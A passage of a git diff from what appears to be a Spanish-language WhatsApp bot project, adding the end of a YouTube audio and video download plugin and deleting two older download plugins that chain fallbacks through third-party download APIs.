+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+
+if (!delius.status) {
+return m.react("❌")}
+const downloadUrl = delius.data.download.url;
+await conn.sendMessage(m.chat, { [sendType]: { url: downloadUrl }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m });
+} catch {
+try {
+let q = '128kbps'
+let v = youtubeLink
+const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
+const dl_url = await yt.audio[q].download()
+const ttl = await yt.title
+const size = await yt.audio[q].fileSizeH
+await conn.sendMessage(m.chat, { [sendType]: { url: dl_url }, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m });
+//conn.sendFile(m.chat, dl_url, ttl + '.mp3', null, m, false, { mimetype: 'audio/mp4' })
+} catch {
+try {
+let searchh = await yts(youtubeLink)
+let __res = searchh.all.map(v => v).filter(v => v.type == "video")
+let infoo = await ytdl.getInfo('https://youtu.be/' + __res[0].videoId)
+let ress = await ytdl.chooseFormat(infoo.formats, { filter: 'audioonly' })
+conn.sendMessage(m.chat, { [sendType]: { url: ress.url }, fileName: __res[0].title + '.mp3', mimetype: 'audio/mp4', contextInfo: {} }, { quoted: m })
+} catch {
+}}}}}}}}}}
+
+if (command == 'ytmp4' || command == 'fgmp4' || command == 'ytmp4doc') {
+m.reply([`*⌛ 𝙀𝙨𝙥𝙚𝙧𝙚 ✋ 𝙪𝙣 𝙢𝙤𝙢𝙚𝙣𝙩𝙤... 𝙔𝙖 𝙚𝙨𝙩𝙤𝙮 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙙𝙤 𝙩𝙪 𝙑𝙞𝙙𝙚𝙤 🍹*`, `⌛ 𝙋𝙍𝙊𝘾𝙀𝙎𝘼𝙉𝘿𝙊...\n*𝘌𝘴𝘵𝘰𝘺 𝘪𝘯𝘵𝘦𝘯𝘵𝘢𝘯𝘥𝘰 𝘥𝘦𝘴𝘤𝘢𝘳𝘨𝘢 𝘴𝘶𝘴 𝘝𝘪𝘥𝘦𝘰 𝘦𝘴𝘱𝘦𝘳𝘦 🏃♂️💨*`, `Calma ✋🥸🤚\n\n*Estoy descargando tu video 🔄*\n\n> *Aguarde un momento, por favor*`].getRandom())
+try {
+const result = await savetube.download(args[0], "720")
+const data = result.result
+await conn.sendMessage(m.chat, { [sendType]: { url: data.download }, mimetype: 'video/mp4', fileName: `${data.title}.mp4`, caption: `🔰 Aquí está tu video\n🔥 Título: ${data.title}` }, { quoted: m })
+} catch {
+try {
+const [input, quality = '720'] = text.split(' ');
+const validQualities = ['240', '360', '480', '720', '1080'];
+const selectedQuality = validQualities.includes(quality) ? quality : '720';
+const res = await ogmp3.download(yt_play[0].url, selectedQuality, 'video');
+await conn.sendMessage(m.chat, { [sendType]: { url: res.result.download }, mimetype: 'video/mp4', caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title} (${selectedQuality}p)` }, { quoted: m });
+} catch {
+try {
+const format = args[1] || '720p';
+const response = await amdl.download(args[0], format);
+const { title, type, download, thumbnail } = response.result;
+if (type === 'video') {
+await conn.sendMessage(m.chat, { [sendType]: { url: download }, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}`, thumbnail: thumbnail }, { quoted: m });
+}
+} catch {
+try {
+const format = args[1] || 'mp4';
+const response = await ytdown.download(args[0], format);
+const { title, type, download, thumbnail } = response;
+if (type === 'video') {
+await conn.sendMessage(m.chat, { [sendType]: { url: download }, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}`, thumbnail: thumbnail }, { quoted: m })
+}
+} catch {
+try {
+const res = await fetch(`https://api.siputzx.my.id/api/d/ytmp4?url=${args}`);
+let { data } = await res.json();
+await conn.sendMessage(m.chat, { [sendType]: { url: data.dl }, fileName: `video.mp4`, mimetype: 'video/mp4', caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}`}, { quoted: m })
+} catch {
+try {
+const res = await fetch(`https://api.agatz.xyz/api/ytmp4?url=${args}`)
+let data = await res.json();
+await conn.sendMessage(m.chat, { [sendType]: { url: data.data.downloadUrl }, fileName: `video.mp4`, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}` }, { quoted: m })
+} catch {
+try {
+const res = await fetch(`https://api.zenkey.my.id/api/download/ytmp4?apikey=zenkey&url=${args}`)
+let { result } = await res.json()
+await conn.sendMessage(m.chat, { [sendType]: { url: result.download.url }, fileName: `video.mp4`, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}` }, { quoted: m })
+} catch {
+try {
+const axeelApi = `https://axeel.my.id/api/download/video?url=${args}`;
+const axeelRes = await fetch(axeelApi);
+const axeelJson = await axeelRes.json();
+if (axeelJson && axeelJson.downloads?.url) {
+const videoUrl = axeelJson.downloads.url;
+await conn.sendMessage(m.chat, { [sendType]: { url: videoUrl }, fileName: `${yt_play[0].title}.mp4`, caption: `🔰 Aquí está tu video \n🔥 Título: ${yt_play[0].title}` }, { quoted: m })
+}} catch {
+try {
+let qu = args[1] || '360'
+let q = qu + 'p'
+let v = youtubeLink
+const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
+const dl_url = await yt.video[q].download()
+const ttl = await yt.title
+const size = await yt.video[q].fileSizeH
+await await conn.sendMessage(m.chat, { [sendType]: { url: dl_url }, fileName: `${ttl}.mp4`, mimetype: 'video/mp4', caption: `🔰 𝘼𝙦𝙪𝙞 𝙚𝙨𝙩𝙖 𝙩𝙪 𝙫𝙞𝙙𝙚𝙤 \n🔥 𝙏𝙞𝙩𝙪𝙡𝙤: ${ttl}`, thumbnail: await fetch(yt.thumbnail) }, { quoted: m })
+} catch {
+try {
+let mediaa = await ytMp4(youtubeLink)
+await conn.sendMessage(m.chat, { [sendType]: { url: mediaa.result }, fileName: `error.mp4`, caption: `_${wm}_`, thumbnail: mediaa.thumb, mimetype: 'video/mp4' }, { quoted: m })
+} catch (e) {
+console.log(e)
+}}}}}}}}}}}
+
+} catch (error) {
+console.error(error);
+m.react("❌️")
+} finally {
+delete userRequests[m.sender];
+}}
+handler.help = ['ytmp4', 'ytmp3'];
+handler.tags = ['downloader'];
+handler.command = /^(ytmp3|ytmp4|fgmp4|fgmp3|dlmp3|ytmp4doc|ytmp3doc)$/i;
+export default handler
+
+async function search(query, options = {}) {
+const search = await yts.search({query, hl: 'es', gl: 'ES', ...options});
+return search.videos;
+}
+
+function bytesToSize(bytes) {
+return new Promise((resolve, reject) => {
+const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
+if (bytes === 0) return 'n/a';
+const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)), 10);
+if (i === 0) resolve(`${bytes} ${sizes[i]}`);
+resolve(`${(bytes / (1024 ** i)).toFixed(1)} ${sizes[i]}`)})};
+
+async function ytMp3(url) {
+return new Promise((resolve, reject) => {
+ytdl.getInfo(url).then(async(getUrl) => {
+let result = [];
+for(let i = 0; i < getUrl.formats.length; i++) {
+let item = getUrl.formats[i];
+if (item.mimeType == 'audio/webm; codecs=\"opus\"') {
+let { contentLength } = item;
+let bytes = await bytesToSize(contentLength);
+result[i] = { audio: item.url, size: bytes }}};
+let resultFix = result.filter(x => x.audio != undefined && x.size != undefined)
+let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].audio}`);
+let tinyUrl = tiny.data;
+let title = getUrl.videoDetails.title;
+let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
+resolve({ title, result: tinyUrl, result2: resultFix, thumb })}).catch(reject)})}
+
+async function ytMp4(url) {
+return new Promise(async(resolve, reject) => {
+ytdl.getInfo(url).then(async(getUrl) => {
+let result = [];
+for(let i = 0; i < getUrl.formats.length; i++) {
+let item = getUrl.formats[i];
+if (item.container == 'mp4' && item.hasVideo == true && item.hasAudio == true) {
+let { qualityLabel, contentLength } = item;
+let bytes = await bytesToSize(contentLength);
+result[i] = { video: item.url, quality: qualityLabel, size: bytes }}};
+let resultFix = result.filter(x => x.video != undefined && x.size != undefined && x.quality != undefined)
+let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].video}`);
+let tinyUrl = tiny.data;
+let title = getUrl.videoDetails.title;
+let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
+resolve({ title, result: tinyUrl, rersult2: resultFix[0].video, thumb })}).catch(reject)})};
+
+async function ytPlay(query) {
+return new Promise((resolve, reject) => {
+yts(query).then(async(getData) => {
+let result = getData.videos.slice( 0, 5 );
+let url = [];
+for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
+let random = url[0];
+let getAudio = await ytMp3(random);
+resolve(getAudio)}).catch(reject)})};
+
+async function ytPlayVid(query) {
+return new Promise((resolve, reject) => {
+yts(query).then(async(getData) => {
+let result = getData.videos.slice( 0, 5 );
+let url = [];
+for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
+let random = url[0];
+let getVideo = await ytMp4(random);
+resolve(getVideo)}).catch(reject)})};
diff --git a/plugins/descargas-play3.js b/plugins/descargas-play3.js
deleted file mode 100644
index d99a221d3..000000000
--- a/plugins/descargas-play3.js
+++ /dev/null
@@ -1,236 +0,0 @@
-import fetch from 'node-fetch';
-import yts from 'yt-search';
-import ytdl from 'ytdl-core';
-import axios from 'axios';
-import {youtubedl, youtubedlv2} from '@bochilteam/scraper';
-const handler = async (m, {conn, command, args, text, usedPrefix}) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!text) throw `*𝙌𝙪𝙚 𝙚𝙨𝙩𝙖 𝙗𝙪𝙨𝙘𝙖𝙙𝙤? 𝙥𝙤𝙧 𝙛𝙖𝙫𝙤𝙧 𝙞𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙢𝙖𝙨 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚𝙡 𝙘𝙖𝙣𝙘𝙞𝙤𝙣*\n\n* 𝙚𝙟𝙚𝙢𝙥𝙡𝙤:*\n*${usedPrefix + command} Quevedo fernet*`
-try {
-const yt_play = await search(args.join(' '))
-let additionalText = ''
-if (command === 'play3' || command == 'playaudiodoc') {
-additionalText = '𝘼𝙐𝘿𝙄𝙊'
-} else if (command === 'play4' || command == 'playvideodoc') {
-additionalText = '𝙑𝙄𝘿𝙀𝙊'
-}
-const texto1 = `╭───≪~*╌◌ᰱ•••⃙❨͟͞P̸͟͞L̸͟A̸͟͞Y̸͟͞❩⃘•••ᰱ◌╌*~*
-│║📌 *𝗧𝗶𝘁𝘂𝗹𝗼:* ${yt_play[0].title}
-│║📆 *𝗣𝘂𝗯𝗹𝗶𝗰𝗮𝗰𝗶𝗼𝗻:* ${yt_play[0].ago}
-│║⌚ *𝘿𝙪𝙧𝙖𝙘𝙞𝙤𝙣:* ${secondString(yt_play[0].duration.seconds)}
-│║👀 *𝗩𝗶𝘀𝘁𝗮𝘀:* ${MilesNumber(yt_play[0].views)}
-│║👤 *𝘼𝙪𝙩𝙤𝙧:* ${yt_play[0].author.name}
-│║📇 *𝘿𝙚𝙨𝙘𝙧𝙞𝙥𝙘𝙞𝙤𝙣:* ${description}
-│║🔗 *𝙇𝙞𝙣𝙠:* ${yt_play[0].url}
-│║
-│║ 𝙀𝙉𝙑𝙄𝘼𝘿𝙊 ${additionalText}, 𝘼𝙂𝙐𝘼𝙍𝘿𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊 ...
-╰─•┈┈┈•••✦𝒟ℳ✦•••┈┈┈•─╯⟤`.trim()
-await conn.sendMessage(m.chat, {
-text: texto1,
-contextInfo: {
-externalAdReply: {
-title: yt_play[0].title,
-body: wm,
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m })
-if (command == 'play3' || command == 'playaudiodoc') {
-try {
-const q = '128kbps';
-const v = yt_play[0].url;
-const yt = await youtubedl(v).catch(async (_) => await youtubedlv2(v));
-const dl_url = await yt.audio[q].download();
-const ttl = await yt.title;
-const size = await yt.audio[q].fileSizeH;
-let cap = `╭┄〔 *${wm}* 〕┄⊱-\n┆📥 ʏᴏᴜᴛᴜʙᴇ ᴅʟ 📥*\n┆——————«•»——————\n┆❏ *ᴛɪᴛᴜʟᴏ:* ${ttl}\n┆❏ *ᴘᴇsᴏ:* ${size}\n╰─────────────────`.trim()
-await conn.sendMessage(m.chat, {document: {url: dl_url}, caption: cap, mimetype: 'audio/mpeg', fileName: `${ttl}.mp3`}, {quoted: m});
-/*await conn.sendMessage(m.chat, { document: { url: dl_url }, caption: cap, mimetype: 'audio/mpeg', contextInfo: {
-externalAdReply: {
-title: ttl,
-body: "",
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m })*/
-} catch {
-try {
-const lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytaudio2?apikey=${lolkeysapi}&url=${yt_play[0].url}`);
-const lolh = await lolhuman.json();
-const n = lolh.result.title || 'error';
-await conn.sendMessage(m.chat, {document: {url: lolh.result.link}, caption: `╭━❰ ${wm} ❱━⬣\n┃📥 YOUTUBE DL 📥\n┃ও *TÍTULO | TITLE:* \n┃» ${n}\n┃﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘\n┃ও *PESO | SIZE:*\n┃» ${n2}\n╰━━━━━❰ *𓃠 ${vs}* ❱━━━━⬣`, fileName: `${n}.mp3`, mimetype: 'audio/mpeg'}, {quoted: m});
-/*await conn.sendMessage(m.chat, { document: { url: lolh.result.link }, caption: `╭━❰ ${wm} ❱━⬣\n┃📥 YOUTUBE DL 📥\n┃ও *TÍTULO | TITLE:* \n┃» ${n}\n╰━━━━━❰ *𓃠 ${vs}* ❱━━━━⬣`, fileName: `${n}.mp3`, mimetype: 'audio/mpeg', contextInfo: {
-externalAdReply: {
-title: n,
-body: "",
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m }) */
-} catch {
-try {
-const searchh = await yts(yt_play[0].url);
-const __res = searchh.all.map((v) => v).filter((v) => v.type == 'video');
-const infoo = await ytdl.getInfo('https://youtu.be/' + __res[0].videoId);
-const ress = await ytdl.chooseFormat(infoo.formats, {filter: 'audioonly'});
-/*await conn.sendMessage(m.chat, { document: { url: ress.url }, fileName: __res[0].title + '.mp3', mimetype: 'audio/mpeg', contextInfo: {
-externalAdReply: {
-title: __res[0].title,
-body: "",
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m }) */
-await conn.sendMessage(m.chat, {document: {url: ress.url}, caption: `${wm}`, fileName: __res[0].title + '.mp3', mimetype: 'audio/mp4'}, {quoted: m});
-} catch {
-}}}}
-if (command == 'play4' || command == 'playvideodoc') {
-try {
-const qu = '360';
-const q = qu + 'p';
-const v = yt_play[0].url;
-const yt = await youtubedl(v).catch(async (_) => await youtubedlv2(v));
-const dl_url = await yt.video[q].download();
-const ttl = await yt.title;
-const size = await yt.video[q].fileSizeH;
-/*await conn.sendMessage(m.chat, { document: { url: dl_url }, caption: `╭━❰ ${wm} ❱━⬣\n┃📥 YOUTUBE DL 📥\n┃ও *TÍTULO | TITLE:* \n┃» ${ttl}\n┃﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘﹘\n┃ও *PESO | SIZE:*\n┃» ${size}\n╰━━━━━❰ *𓃠 ${vs}* ❱━━━━⬣`, fileName: `${ttl}.mp3`, mimetype: 'audio/mpeg', contextInfo: {
-externalAdReply: {
-title: ttl,
-body: "",
-thumbnailUrl: yt_play[0].thumbnail,
-mediaType: 1,
-showAdAttribution: true,
-renderLargerThumbnail: true
-}}} , { quoted: m }) */
-await conn.sendMessage(m.chat, {document: {url: dl_url}, fileName: `${ttl}.mp4`, mimetype: 'video/mp4', caption: `╭┄〔 *${wm}* 〕┄⊱-\n┆📥 ʏᴏᴜᴛᴜʙᴇ ᴅʟ 📥*\n┆——————«•»——————\n┆❏ *ᴛɪᴛᴜʟᴏ:* ${ttl}\n┆❏ *ᴘᴇsᴏ:* ${size}\n╰─────────────────`, thumbnail: await fetch(yt.thumbnail)}, {quoted: m});
-} catch {
-try {
-const mediaa = await ytMp4(yt_play[0].url);
-await await conn.sendMessage(m.chat, {document: {url: dl_url}, caption: cap, mimetype: 'video/mp4', fileName: ttl + `.mp4`}, {quoted: m});
-} catch {
-try {
-const lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytvideo2?apikey=${lolkeysapi}&url=${yt_play[0].url}`);
-const lolh = await lolhuman.json();
-const n = lolh.result.title || 'error';
-const n2 = lolh.result.link;
-const n3 = lolh.result.size;
-const n4 = lolh.result.thumbnail;
-await conn.sendMessage(m.chat, {document: {url: n2}, fileName: `${n}.mp4`, mimetype: 'video/mp4', caption: `╭┄〔 *${wm}* 〕┄⊱-\n┆📥 ʏᴏᴜᴛᴜʙᴇ ᴅʟ 📥*\n┆——————«•»——————\n┆❏ *ᴛɪᴛᴜʟᴏ:* ${n}\n┆❏ *ᴘᴇsᴏ:* ${n3}\n╰─────────────────`, thumbnail: await fetch(n4)}, {quoted: m});
-} catch {
-}}}}
-} catch {
- await conn.reply(m.chat, `${lenguajeGB['smsAvisoFG']()}𝙀𝙍𝙍𝙊𝙍 𝙉𝙊 𝙁𝙐𝙀 𝙋𝙊𝙎𝙄𝘽𝙇𝙀 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊/𝘼𝙐𝘿𝙄𝙊 𝙑𝙐𝙀𝙇𝙑𝙀 𝘼𝙇 𝙄𝙉𝙏𝙀𝙉𝙏𝘼`, fkontak, m)
-handler.limit = 0
-}}
-handler.help = ['play3', 'play4'].map((v) => v + ' < busqueda >');
-handler.tags = ['downloader'];
-handler.command = /^(playaudiodoc|playdoc|playdoc2|play3|play4|playvideodoc)$/i;
-handler.limit = 4
-export default handler;
-
-async function search(query, options = {}) {
-const search = await yts.search({query, hl: 'es', gl: 'ES', ...options});
-return search.videos;
-}
-
-function MilesNumber(number) {
-const exp = /(\d)(?=(\d{3})+(?!\d))/g;
-const rep = '$1.';
-const arr = number.toString().split('.');
-arr[0] = arr[0].replace(exp, rep);
-return arr[1] ? arr.join('.') : arr[0];
-}
-
-function secondString(seconds) {
-seconds = Number(seconds);
-const d = Math.floor(seconds / (3600 * 24));
-const h = Math.floor((seconds % (3600 * 24)) / 3600);
-const m = Math.floor((seconds % 3600) / 60);
-const s = Math.floor(seconds % 60);
-const dDisplay = d > 0 ? d + (d == 1 ? ' día, ' : ' días, ') : '';
-const hDisplay = h > 0 ? h + (h == 1 ? ' hora, ' : ' horas, ') : '';
-const mDisplay = m > 0 ? m + (m == 1 ? ' minuto, ' : ' minutos, ') : '';
-const sDisplay = s > 0 ? s + (s == 1 ? ' segundo' : ' segundos') : '';
-return dDisplay + hDisplay + mDisplay + sDisplay;
-}
-
-function bytesToSize(bytes) {
-return new Promise((resolve, reject) => {
-const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
-if (bytes === 0) return 'n/a';
-const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)), 10);
-if (i === 0) resolve(`${bytes} ${sizes[i]}`);
-resolve(`${(bytes / (1024 ** i)).toFixed(1)} ${sizes[i]}`);
-})}
-
-async function ytMp3(url) {
-return new Promise((resolve, reject) => {
-ytdl.getInfo(url).then(async (getUrl) => {
-const result = [];
-for (let i = 0; i < getUrl.formats.length; i++) {
-const item = getUrl.formats[i];
-if (item.mimeType == 'audio/webm; codecs=\"opus\"') {
-const {contentLength} = item;
-const bytes = await bytesToSize(contentLength);
-result[i] = {audio: item.url, size: bytes};
-}}
-const resultFix = result.filter((x) => x.audio != undefined && x.size != undefined);
-const tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].audio}`);
-const tinyUrl = tiny.data;
-const title = getUrl.videoDetails.title;
-const thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({title, result: tinyUrl, result2: resultFix, thumb});
-}).catch(reject);
-})}
-
-async function ytMp4(url) {
-return new Promise(async (resolve, reject) => {
-ytdl.getInfo(url).then(async (getUrl) => {
-const result = [];
-for (let i = 0; i < getUrl.formats.length; i++) {
-const item = getUrl.formats[i];
-if (item.container == 'mp4' && item.hasVideo == true && item.hasAudio == true) {
-const {qualityLabel, contentLength} = item;
-const bytes = await bytesToSize(contentLength);
-result[i] = {video: item.url, quality: qualityLabel, size: bytes};
-}}
-const resultFix = result.filter((x) => x.video != undefined && x.size != undefined && x.quality != undefined);
-const tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].video}`);
-const tinyUrl = tiny.data;
-const title = getUrl.videoDetails.title;
-const thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({title, result: tinyUrl, rersult2: resultFix[0].video, thumb});
-}).catch(reject);
-})}
-
-async function ytPlay(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async (getData) => {
-const result = getData.videos.slice( 0, 5 );
-const url = [];
-for (let i = 0; i < result.length; i++) {
-url.push(result[i].url);
-}
-const random = url[0];
-const getAudio = await ytMp3(random);
-resolve(getAudio);
-}).catch(reject);
-})}
-
-async function ytPlayVid(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async (getData) => {
-const result = getData.videos.slice( 0, 5 );
-const url = [];
-for (let i = 0; i < result.length; i++) {
-url.push(result[i].url);
-}
-const random = url[0];
-const getVideo = await ytMp4(random);
-resolve(getVideo);
-}).catch(reject);
-})}
\ No newline at end of file
diff --git a/plugins/descargas-playV2.js b/plugins/descargas-playV2.js
deleted file mode 100644
index 0d4d08a40..000000000
--- a/plugins/descargas-playV2.js
+++ /dev/null
@@ -1,155 +0,0 @@
-import fetch from 'node-fetch';
-import yts from 'yt-search';
-import ytdl from 'ytdl-core';
-import axios from 'axios';
-const handler = async (m, {command, usedPrefix, conn, text}) => {
-if (!text) throw `🤔𝙦𝙪𝙚 𝙚𝙨𝙩𝙖 𝙗𝙪𝙨𝙘𝙖𝙙𝙤?🤔 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚/𝙩𝙞𝙩𝙪𝙡𝙤 𝙙𝙚 𝙘𝙖𝙣𝙘𝙞𝙤𝙣\n\n*—◉ 𝙀𝙟𝙚𝙢𝙥𝙡𝙤:\n#play.1 lgante - bar*`
-try {
-if (command == 'play.1') {
-conn.reply(m.chat, `*_⏳𝙋𝙧𝙤𝙘𝙚𝙨𝙖𝙣𝙙𝙤.... 𝙚𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙢𝙞𝙣𝙪𝙩𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙖𝙪𝙙𝙞𝙤...⏳_*`, m)
- try {
-const mediaa = await ytPlay(text);
-const audiocore = mediaa.result2?.[0]?.audio || mediaa.result2?.[1]?.audio || mediaa.result2?.[2]?.audio || null;
-const aa = await conn.sendMessage(m.chat, {audio: {url: audiocore}, fileName: `error.mp3`, mimetype: 'audio/mp4'}, {quoted: m});
-if (!aa) {
-throw new Error();
-}} catch {
-const res = await fetch(`https://api.lolhuman.xyz/api/ytplay2?apikey=${lolkeysapi}&query=${text}`);
-const json = await res.json();
-const aa_1 = await conn.sendMessage(m.chat, {audio: {url: json.result.audio}, fileName: `error.mp3`, mimetype: 'audio/mp4'}, {quoted: m});
-if (!aa_1) aa_1 = await conn.sendFile(m.chat, json.result.audio, 'error.mp3', null, m, false, {mimetype: 'audio/mp4'});
-}}
-if (command == 'play.2') {
-conn.reply(m.chat, `*_⏳𝙋𝙧𝙤𝙘𝙚𝙨𝙖𝙣𝙙𝙤.... 𝙚𝙨𝙥𝙚𝙧𝙚 𝙪𝙣𝙤𝙨 𝙢𝙞𝙣𝙪𝙩𝙤𝙨 𝙚𝙡 𝙦𝙪𝙚 𝙢𝙖𝙣𝙙𝙤 𝙨𝙪𝙨 𝙖𝙪𝙙𝙞𝙤...⏳_*`, m)
-try {
-const mediaa = await ytPlayVid(text);
-const aa_2 = await conn.sendMessage(m.chat, {video: {url: mediaa.result}, fileName: `error.mp4`, caption: `${wm}`, thumbnail: mediaa.thumb, mimetype: 'video/mp4'}, {quoted: m});
-if (!aa_2) {
-throw new Error();
-}} catch {
-const res = await fetch(`https://api.lolhuman.xyz/api/ytplay2?apikey=${lolkeysapi}&query=${text}`);
-const json = await res.json();
-await conn.sendFile(m.chat, json.result.video, 'error.mp4', `${wm}`, m);
-}}} catch {
-handler.limit = 0
-}}
-handler.help = ['play.1' , 'play.2'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = ['play.1', 'play.2']
-handler.limit = 1
-export default handler
-
-function bytesToSize(bytes) {
-return new Promise((resolve, reject) => {
-const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
-if (bytes === 0) return 'n/a';
-const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)), 10);
-if (i === 0) resolve(`${bytes} ${sizes[i]}`);
-resolve(`${(bytes / (1024 ** i)).toFixed(1)} ${sizes[i]}`);
-})}
-
-async function ytMp3(url) {
-return new Promise((resolve, reject) => {
-ytdl.getInfo(url).then(async (getUrl) => {
-const result = [];
-for (let i = 0; i < getUrl.formats.length; i++) {
-const item = getUrl.formats[i];
-if (item.mimeType == 'audio/webm; codecs=\"opus\"') {
-const {contentLength} = item;
-const bytes = await bytesToSize(contentLength);
-result[i] = {audio: item.url, size: bytes};
-}}
-const resultFix = result.filter((x) => x.audio != undefined && x.size != undefined);
-const tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].audio}`);
-const tinyUrl = tiny.data;
-const title = getUrl.videoDetails.title;
-const thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({title, result: tinyUrl, result2: resultFix, thumb});
-}).catch(reject);
-})}
-
-async function ytMp4(url) {
-return new Promise(async (resolve, reject) => {
-ytdl.getInfo(url).then(async (getUrl) => {
-const result = [];
-for (let i = 0; i < getUrl.formats.length; i++) {
-const item = getUrl.formats[i];
-if (item.container == 'mp4' && item.hasVideo == true && item.hasAudio == true) {
-const {qualityLabel, contentLength} = item;
-const bytes = await bytesToSize(contentLength);
-result[i] = {video: item.url, quality: qualityLabel, size: bytes};
-}}
-const resultFix = result.filter((x) => x.video != undefined && x.size != undefined && x.quality != undefined);
-const tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].video}`);
-const tinyUrl = tiny.data;
-const title = getUrl.videoDetails.title;
-const thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({title, result: tinyUrl, rersult2: resultFix[0].video, thumb});
-}).catch(reject);
-})}
-
-async function ytPlay(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async (getData) => {
-const result = getData.videos.slice( 0, 5 );
-const url = [];
-for (let i = 0; i < result.length; i++) {
-url.push(result[i].url);
-}
-const random = url[0];
-const getAudio = await ytMp3(random);
-resolve(getAudio);
-}).catch(reject);
-})}
-
-async function ytPlayVid(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async (getData) => {
-const result = getData.videos.slice( 0, 5 );
-const url = [];
-for (let i = 0; i < result.length; i++) {
-url.push(result[i].url);
-}
-const random = url[0];
-const getVideo = await ytMp4(random);
-resolve(getVideo);
-}).catch(reject);
-})}
-
-/*import fs from 'fs'
-import fetch from 'node-fetch'
-let handler = async (m, {command, conn, text, usedPrefix }) => {
-if (!text) throw `${mg}𝙀𝙎𝘾𝙍𝙄𝘽𝘼 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝙊 𝙏𝙄𝙏𝙐𝙇𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Billie Eilish - Bellyache*\n\n𝙒𝙍𝙄𝙏𝙀 𝙏𝙃𝙀 𝙉𝘼𝙈𝙀 𝙊𝙍 𝙏𝙄𝙏𝙇𝙀\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} Billie Eilish - Bellyache*`
-try {
-if (command == 'play.1') {
-conn.reply(m.chat, `${eg}𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊 𝙀𝙇 𝘼𝙐𝘿𝙄𝙊 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍\n\n𝙒𝘼𝙄𝙏 𝘼 𝙈𝙊𝙈𝙀𝙉𝙏 𝙁𝙊𝙍 𝙏𝙃𝙀 𝘼𝙐𝘿𝙄𝙊 𝙋𝙇𝙀𝘼𝙎𝙀`, m, {
-contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null,
-title: '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿 | 𝙂𝙖𝙩𝙖 𝘿𝙞𝙤𝙨',
-body: 'Super Bot WhatsApp',
